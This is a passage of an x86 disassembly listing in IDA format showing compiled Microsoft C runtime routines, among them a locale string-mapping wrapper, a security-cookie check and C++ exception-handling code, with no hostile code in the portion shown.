loc_41C2DA:				; CODE XREF: sub_41C139+172j
		mov	[ebp+ms_exc.disabled], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_30], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41C318
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_41C318:				; CODE XREF: sub_41C139+1C2j
		cmp	[ebp+var_30], ebx
		jnz	short loc_41C335
		lea	eax, [edi+edi]
		push	eax
		call	sub_416DAF
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	eax, ebx
		jz	short loc_41C36E
		mov	[ebp+var_24], 1


loc_41C335:				; CODE XREF: sub_41C139+1E2j
		push	edi
		push	[ebp+var_30]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A8	; LCMapStringW
		test	eax, eax
		jz	short loc_41C36E
		push	ebx
		push	ebx
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41C358
		push	ebx
		push	ebx
		jmp	short loc_41C35E
; ---------------------------------------------------------------------------


loc_41C358:				; CODE XREF: sub_41C139+219j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41C35E:				; CODE XREF: sub_41C139+21Dj
		push	edi
		push	[ebp+var_30]
		push	ebx
		push	[ebp+arg_18]
		call	dword_4220D8	; WideCharToMultiByte
		mov	edi, eax


loc_41C36E:				; CODE XREF: sub_41C139+149j
					; sub_41C139+168j ...
		cmp	[ebp+var_24], ebx
		jz	short loc_41C37C
		push	[ebp+var_30]
		call	sub_416C97
		pop	ecx


loc_41C37C:				; CODE XREF: sub_41C139+238j
		cmp	[ebp+var_20], ebx
		jz	short loc_41C38A
		push	[ebp+var_2C]
		call	sub_416C97
		pop	ecx


loc_41C38A:				; CODE XREF: sub_41C139+246j
		mov	eax, edi
		jmp	loc_41C4EC
; ---------------------------------------------------------------------------


loc_41C391:				; CODE XREF: sub_41C139+76j
					; sub_41C139+7Ej
		mov	[ebp+var_34], ebx
		xor	edi, edi
		mov	[ebp+var_38], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_41C3A6
		mov	eax, dword_481478
		mov	[ebp+arg_0], eax


loc_41C3A6:				; CODE XREF: sub_41C139+263j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41C3B3
		mov	eax, dword_481488
		mov	[ebp+arg_18], eax


loc_41C3B3:				; CODE XREF: sub_41C139+270j
		push	[ebp+arg_0]
		call	sub_42027F
		pop	ecx
		mov	[ebp+var_3C], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41C3CB


loc_41C3C4:				; CODE XREF: sub_41C139+87j
					; sub_41C139+CDj ...
		xor	eax, eax
		jmp	loc_41C4EC
; ---------------------------------------------------------------------------


loc_41C3CB:				; CODE XREF: sub_41C139+289j
		cmp	eax, [ebp+arg_18]
		jz	loc_41C4C2
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_4202C8
		add	esp, 18h
		mov	[ebp+var_34], eax
		cmp	eax, ebx
		jz	short loc_41C3C4
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A4	; LCMapStringA
		mov	esi, eax
		mov	[ebp+var_40], esi
		cmp	esi, ebx
		jz	loc_41C4B1
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_44], edi
		push	esi
		push	ebx
		push	edi
		call	sub_41E880
		add	esp, 0Ch
		jmp	short loc_41C442
; ---------------------------------------------------------------------------


loc_41C432:				; DATA XREF: .text:stru_42C158o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41C436:				; DATA XREF: .text:stru_42C158o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		xor	ebx, ebx
		xor	edi, edi


loc_41C442:				; CODE XREF: sub_41C139+2F7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_41C46D
		push	[ebp+var_40]
		call	sub_416DAF
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41C48A
		push	[ebp+var_40]
		push	ebx
		push	edi
		call	sub_41E880
		add	esp, 0Ch
		mov	[ebp+var_38], 1


loc_41C46D:				; CODE XREF: sub_41C139+30Fj
		push	[ebp+var_40]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_34]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A4	; LCMapStringA
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jnz	short loc_41C48E


loc_41C48A:				; CODE XREF: sub_41C139+31Ej
		xor	esi, esi
		jmp	short loc_41C4B4
; ---------------------------------------------------------------------------


loc_41C48E:				; CODE XREF: sub_41C139+34Fj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		lea	eax, [ebp+var_40]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_3C]
		call	sub_4202C8
		add	esp, 18h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		jmp	short loc_41C4B4
; ---------------------------------------------------------------------------


loc_41C4B1:				; CODE XREF: sub_41C139+2D0j
		mov	esi, [ebp+var_48]


loc_41C4B4:				; CODE XREF: sub_41C139+353j
					; sub_41C139+376j
		cmp	[ebp+var_38], ebx
		jz	short loc_41C4DC
		push	edi
		call	sub_416C97
		pop	ecx
		jmp	short loc_41C4DC
; ---------------------------------------------------------------------------


loc_41C4C2:				; CODE XREF: sub_41C139+295j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A4	; LCMapStringA
		mov	esi, eax


loc_41C4DC:				; CODE XREF: sub_41C139+37Ej
					; sub_41C139+387j
		cmp	[ebp+var_34], ebx
		jz	short loc_41C4EA
		push	[ebp+var_34]
		call	sub_416C97
		pop	ecx


loc_41C4EA:				; CODE XREF: sub_41C139+3A6j
		mov	eax, esi


loc_41C4EC:				; CODE XREF: sub_41C139+253j
					; sub_41C139+28Dj
		lea	esp, [ebp-54h]
		call	__SEH_epilog
		retn
sub_41C139	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C526


loc_41C4F5:				; CODE XREF: sub_41C526:loc_41C52Fj
		push	8
		push	offset stru_42C590
		call	__SEH_prolog
		and	dword ptr [ebp-4], 0
		push	0
		push	1
		call	sub_4204ED
		pop	ecx
		pop	ecx
		jmp	short loc_41C519
; END OF FUNCTION CHUNK	FOR sub_41C526

; =============== S U B	R O U T	I N E =======================================



sub_41C512	proc near		; DATA XREF: .text:stru_42C590o
		xor	eax, eax
		inc	eax
		retn
sub_41C512	endp

; ---------------------------------------------------------------------------


loc_41C516:				; DATA XREF: .text:stru_42C590o
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_41C526


loc_41C519:				; CODE XREF: sub_41C526-16j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	dword_422040	; ExitProcess
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_41C526

; =============== S U B	R O U T	I N E =======================================



sub_41C526	proc near		; CODE XREF: sub_417779+B4p
					; sub_4189AC+76Ep ...

; FUNCTION CHUNK AT 0041C4F5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0041C519 SIZE 0000000D BYTES

		cmp	ecx, dword_432A48
		jnz	short loc_41C52F
		retn
; ---------------------------------------------------------------------------


loc_41C52F:				; CODE XREF: sub_41C526+6j
		jmp	loc_41C4F5
sub_41C526	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C534	proc near		; CODE XREF: sub_417834+1Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41E4FD
		test	eax, eax
		pop	ecx
		jz	short loc_41C5B8
		cmp	esi, offset dword_432658
		jnz	short loc_41C552
		xor	eax, eax
		jmp	short loc_41C55D
; ---------------------------------------------------------------------------


loc_41C552:				; CODE XREF: sub_41C534+18j
		cmp	esi, offset dword_432678
		jnz	short loc_41C5B8
		xor	eax, eax
		inc	eax


loc_41C55D:				; CODE XREF: sub_41C534+1Cj
		inc	dword_481318
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41C5B8
		push	ebx
		push	edi
		lea	edi, ds:481320h[eax*4]
		cmp	dword ptr [edi], 0
		mov	ebx, 1000h
		jnz	short loc_41C59E
		push	ebx
		call	sub_416DAF
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41C59E
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41C5AB
; ---------------------------------------------------------------------------


loc_41C59E:				; CODE XREF: sub_41C534+48j
					; sub_41C534+55j
		mov	edi, [edi]
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+18h], ebx
		mov	[esi+4], ebx


loc_41C5AB:				; CODE XREF: sub_41C534+68j
		or	word ptr [esi+0Ch], 1102h
		pop	edi
		xor	eax, eax
		pop	ebx
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C5B8:				; CODE XREF: sub_41C534+10j
					; sub_41C534+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41C534	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5BC	proc near		; CODE XREF: sub_417834+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short locret_41C5E5
		push	esi
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41C5E4
		push	esi
		call	sub_41AE6C
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx


loc_41C5E4:				; CODE XREF: sub_41C5BC+10j
		pop	esi

locret_41C5E5:				; CODE XREF: sub_41C5BC+5j
		retn
sub_41C5BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5E6	proc near		; CODE XREF: sub_41CBCD+138p

arg_0		= dword	ptr  4

		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41C631
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_41C631
		mov	ecx, [edi+4]
		cmp	eax, ecx
		jz	short loc_41C60C
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41EDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41C62E


loc_41C60C:				; CODE XREF: sub_41C5E6+14j
		test	byte ptr [edi],	2
		jz	short loc_41C616
		test	byte ptr [esi],	8
		jz	short loc_41C62E


loc_41C616:				; CODE XREF: sub_41C5E6+29j
		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41C625
		test	byte ptr [esi],	1
		jz	short loc_41C62E


loc_41C625:				; CODE XREF: sub_41C5E6+38j
		test	al, 2
		jz	short loc_41C631
		test	byte ptr [esi],	2
		jnz	short loc_41C631


loc_41C62E:				; CODE XREF: sub_41C5E6+24j
					; sub_41C5E6+2Ej ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C631:				; CODE XREF: sub_41C5E6+5j
					; sub_41C5E6+Dj ...
		xor	eax, eax
		inc	eax
		retn
sub_41C5E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C635	proc near		; CODE XREF: sub_41C653+76p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41C642
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C642:				; CODE XREF: sub_41C635+8j
		call	sub_41915F
		and	dword ptr [eax+80h], 0
		jmp	sub_41CE51
sub_41C635	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C653	proc near		; CODE XREF: sub_41C783+117p
					; sub_41CAA6+31p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset stru_42C5A0
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		call	sub_41915F
		add	eax, 80h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]


loc_41C67B:				; CODE XREF: sub_41C653+8Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41C6E4
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41C68A
		cmp	esi, [edi+4]
		jl	short loc_41C68F


loc_41C68A:				; CODE XREF: sub_41C653+30j
		call	sub_41CE86


loc_41C68F:				; CODE XREF: sub_41C653+35j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41C6C0
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_41CEC0


loc_41C6C0:				; CODE XREF: sub_41C653+56j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_41C6DF
; ---------------------------------------------------------------------------


loc_41C6C6:				; DATA XREF: .text:0042C5B0o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_41C635
		retn
; ---------------------------------------------------------------------------


loc_41C6CF:				; DATA XREF: .text:0042C5B4o
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]


loc_41C6DF:				; CODE XREF: sub_41C653+71j
		mov	[ebp+var_1C], esi
		jmp	short loc_41C67B
; ---------------------------------------------------------------------------


loc_41C6E4:				; CODE XREF: sub_41C653+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41C706
		cmp	esi, [ebp+arg_C]
		jz	short loc_41C6F7
		call	sub_41CE86


loc_41C6F7:				; CODE XREF: sub_41C653+9Dj
		mov	[ebx+8], esi
		call	__SEH_epilog
		retn
sub_41C653	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C700	proc near		; DATA XREF: .text:stru_42C5A0o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_41C700	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C706	proc near		; CODE XREF: sub_41C653+95p
		call	sub_41915F
		cmp	dword ptr [eax+80h], 0
		jle	short locret_41C720
		call	sub_41915F
		add	eax, 80h
		dec	dword ptr [eax]

locret_41C720:				; CODE XREF: sub_41C706+Cj
		retn
sub_41C706	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C721	proc near		; CODE XREF: sub_41C8C6+5Cp
					; sub_41CBCD+1A8p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_42C5B8
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41C74F
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41C74F
		and	[ebp+ms_exc.disabled], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_4179BA
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_41C74F:				; CODE XREF: sub_41C721+11j
					; sub_41C721+1Bj
		call	__SEH_epilog
		retn
sub_41C721	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C755	proc near		; DATA XREF: .text:stru_42C5B8o
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
sub_41C755	endp

; ---------------------------------------------------------------------------


loc_41C75E:				; DATA XREF: .text:stru_42C5B8o
		mov	esp, [ebp-18h]
		jmp	sub_41CE51

; =============== S U B	R O U T	I N E =======================================



sub_41C766	proc near		; CODE XREF: sub_41C92A+7Cp
					; sub_41C92A+FBp ...
		mov	edx, [ecx+4]
		push	esi
		mov	esi, eax
		mov	eax, [ecx]
		add	eax, esi
		test	edx, edx
		jl	short loc_41C781
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41C781:				; CODE XREF: sub_41C766+Cj
		pop	esi
		retn
sub_41C766	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C783	proc near		; CODE XREF: sub_41CAA6+52p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0041C8BD SIZE 00000003 BYTES

		push	40h
		push	offset stru_42C5C8
		call	__SEH_prolog
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_20], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_417B58
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		call	sub_41915F
		mov	eax, [eax+78h]
		mov	[ebp+var_34], eax
		call	sub_41915F
		mov	eax, [eax+7Ch]
		mov	[ebp+var_38], eax
		call	sub_41915F
		mov	[eax+78h], esi
		call	sub_41915F
		mov	ecx, [ebp+arg_8]
		mov	[eax+7Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		mov	[ebp+ms_exc.disabled], 1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_417BED
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	loc_41C8AB
; ---------------------------------------------------------------------------


loc_41C808:				; DATA XREF: .text:0042C5D8o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41C840
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41C840
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41C840
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+1Ch], 0
		mov	[ebp+var_40], 1
		jz	short loc_41C847


loc_41C840:				; CODE XREF: sub_41C783+96j
					; sub_41C783+9Fj ...
		mov	[ebp+var_40], 0


loc_41C847:				; CODE XREF: sub_41C783+BBj
		mov	eax, [ebp+var_40]
		retn
; ---------------------------------------------------------------------------


loc_41C84B:				; DATA XREF: .text:0042C5DCo
		mov	esp, [ebp+ms_exc.old_esp]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+8]
		mov	[ebp+var_44], eax
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+8]
		mov	[ebp+var_48], eax
		mov	edx, [ecx+10h]
		mov	[ebp+var_4C], edx
		xor	edx, edx


loc_41C868:				; CODE XREF: sub_41C783+13Bj
		mov	[ebp+var_50], edx
		cmp	edx, [ecx+0Ch]
		jnb	short loc_41C894
		lea	esi, [edx+edx*4]
		mov	ebx, [ebp+var_4C]
		lea	esi, [ebx+esi*4]
		mov	ebx, [esi+4]
		cmp	eax, ebx
		jle	short loc_41C8BD
		cmp	eax, [esi+8]
		jg	short loc_41C8BD
		lea	eax, [ebx+1]
		mov	[ebp+var_48], eax
		mov	edx, [ebp+var_44]
		mov	eax, [edx+eax*8]
		mov	[ebp+var_48], eax


loc_41C894:				; CODE XREF: sub_41C783+EBj
		push	eax
		push	ecx
		xor	esi, esi
		push	esi
		push	edi
		call	sub_41C653
		add	esp, 10h
		mov	[ebp+var_1C], esi
		mov	[ebp+ms_exc.disabled], esi
		mov	esi, [ebp+arg_0]


loc_41C8AB:				; CODE XREF: sub_41C783+80j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41C8C6
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41C783	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C783


loc_41C8BD:				; CODE XREF: sub_41C783+FBj
					; sub_41C783+100j
		inc	edx
		jmp	short loc_41C868
; END OF FUNCTION CHUNK	FOR sub_41C783

; =============== S U B	R O U T	I N E =======================================



sub_41C8C0	proc near		; DATA XREF: .text:stru_42C5C8o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_41C8C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C6	proc near		; CODE XREF: sub_41C783+12Cp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-30h]
		call	sub_417BA1
		pop	ecx
		call	sub_41915F
		mov	ecx, [ebp-34h]
		mov	[eax+78h], ecx
		call	sub_41915F
		mov	ecx, [ebp-38h]
		mov	[eax+7Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_41C929
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_41C929
		cmp	dword ptr [esi+14h], 19930520h
		jnz	short locret_41C929
		cmp	dword ptr [ebp-20h], 0
		jnz	short locret_41C929
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_41C929
		push	dword ptr [esi+18h]
		call	sub_417B80
		pop	ecx
		test	eax, eax
		jz	short locret_41C929
		call	sub_417D9A
		push	eax
		push	esi
		call	sub_41C721
		pop	ecx
		pop	ecx

locret_41C929:				; CODE XREF: sub_41C8C6+2Bj
					; sub_41C8C6+31j ...
		retn
sub_41C8C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92A	proc near		; CODE XREF: sub_41CAA6+Dp

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	8
		push	offset stru_42C5E0
		call	__SEH_prolog
		mov	esi, ecx
		mov	eax, [ebp+arg_4]
		mov	edi, edx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	loc_41CA94
		cmp	byte ptr [ecx+8], 0
		jz	loc_41CA94
		mov	ecx, [eax+8]
		test	ecx, ecx
		jnz	short loc_41C966
		test	byte ptr [eax+3], 80h
		jz	loc_41CA94


loc_41C966:				; CODE XREF: sub_41C92A+30j
		mov	eax, [eax]
		test	eax, eax
		js	short loc_41C970
		lea	edi, [ecx+edi+0Ch]


loc_41C970:				; CODE XREF: sub_41C92A+40j
		and	[ebp+ms_exc.disabled], 0
		push	1
		push	dword ptr [ebx+18h]
		test	al, 8
		jz	short loc_41C9B2
		call	sub_42069D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41CA8B
		push	1
		push	edi
		call	sub_4206B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41CA8B
		mov	eax, [ebx+18h]
		mov	[edi], eax


loc_41C9A3:				; CODE XREF: sub_41C92A+D1j
		lea	ecx, [esi+8]
		call	sub_41C766
		mov	[edi], eax
		jmp	loc_41CA90
; ---------------------------------------------------------------------------


loc_41C9B2:				; CODE XREF: sub_41C92A+51j
		test	byte ptr [esi],	1
		jz	short loc_41C9FD
		call	sub_42069D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41CA8B
		push	1
		push	edi
		call	sub_4206B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41CA8B
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41EFF0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41CA90
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41CA90
		jmp	short loc_41C9A3
; ---------------------------------------------------------------------------


loc_41C9FD:				; CODE XREF: sub_41C92A+8Bj
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_41CA36
		call	sub_42069D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41CA8B
		push	1
		push	edi
		call	sub_4206B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41CA8B
		push	dword ptr [esi+14h]
		lea	ecx, [esi+8]
		mov	eax, [ebx+18h]
		call	sub_41C766
		push	eax
		push	edi
		call	sub_41EFF0
		add	esp, 0Ch
		jmp	short loc_41CA90
; ---------------------------------------------------------------------------


loc_41CA36:				; CODE XREF: sub_41C92A+D7j
		call	sub_42069D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41CA8B
		push	1
		push	edi
		call	sub_4206B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41CA8B
		push	dword ptr [esi+18h]
		call	sub_4206D5
		pop	ecx
		test	eax, eax
		jz	short loc_41CA8B
		mov	eax, [ebx+18h]
		lea	ecx, [esi+8]
		test	byte ptr [esi],	4
		jz	short loc_41CA7A
		push	1
		call	sub_41C766
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4179BA
		jmp	short loc_41CA90
; ---------------------------------------------------------------------------


loc_41CA7A:				; CODE XREF: sub_41C92A+13Bj
		call	sub_41C766
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4179BA
		jmp	short loc_41CA90
; ---------------------------------------------------------------------------


loc_41CA8B:				; CODE XREF: sub_41C92A+5Cj
					; sub_41C92A+6Ej ...
		call	sub_41CE86


loc_41CA90:				; CODE XREF: sub_41C92A+83j
					; sub_41C92A+C1j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_41CA94:				; CODE XREF: sub_41C92A+1Bj
					; sub_41C92A+25j ...
		call	__SEH_epilog
		retn
sub_41C92A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA9A	proc near		; DATA XREF: .text:stru_42C5E0o
		xor	eax, eax
		inc	eax
		retn
sub_41CA9A	endp

; ---------------------------------------------------------------------------


loc_41CA9E:				; DATA XREF: .text:stru_42C5E0o
		mov	esp, [ebp-18h]
		jmp	sub_41CE51

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAA6	proc near		; CODE XREF: sub_41CB0D+A2p
					; sub_41CBCD+17Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		test	ecx, ecx
		jz	short loc_41CABA
		push	ebx
		push	[ebp+arg_0]
		mov	edx, esi
		call	sub_41C92A
		pop	ecx
		pop	ecx


loc_41CABA:				; CODE XREF: sub_41CAA6+5j
		cmp	[ebp+arg_14], 0
		push	[ebp+arg_0]
		jnz	short loc_41CAC6
		push	esi
		jmp	short loc_41CAC9
; ---------------------------------------------------------------------------


loc_41CAC6:				; CODE XREF: sub_41CAA6+1Bj
		push	[ebp+arg_14]


loc_41CAC9:				; CODE XREF: sub_41CAA6+1Ej
		call	sub_4179C1
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_41C653
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_10]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_41C783
		add	esp, 28h
		test	eax, eax
		jz	short loc_41CB0B
		push	esi
		push	eax
		call	sub_41798A


loc_41CB0B:				; CODE XREF: sub_41CAA6+5Cj
		pop	ebp
		retn
sub_41CAA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB0D	proc near		; CODE XREF: sub_41CBCD+1D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_41CBCA
		call	sub_41915F
